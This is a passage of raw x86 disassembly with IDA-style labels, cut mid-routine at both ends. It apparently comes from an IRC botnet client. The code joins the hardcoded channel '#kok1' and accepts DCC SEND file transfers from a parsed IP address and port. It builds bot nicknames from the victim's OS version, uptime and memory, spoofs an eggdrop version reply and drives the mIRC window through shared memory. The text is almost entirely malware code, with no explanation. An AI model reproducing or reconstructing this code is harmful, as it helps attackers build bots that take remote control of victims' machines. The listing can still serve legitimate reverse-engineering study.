		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C


loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset aMessage	; "message "
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693


loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: cAddress:00403530p
					; cAddress:0040353Dp ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al


loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B


loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aKok1	; "#kok1"
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset aU_U_U_U	; "%u.%u.%u.%u"
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB


loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DC00
		push	3B7h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------


loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch


loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_40DB2D


loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8


loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------


loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h


loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"


loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"


loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1


loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset aRONa	; "àÃЮ¼³­"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41ED18
		push	offset aKok1	; "#kok1"
		push	offset aJoinSS	; "JOIN	%s %s"
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41EF18
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41EF18
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
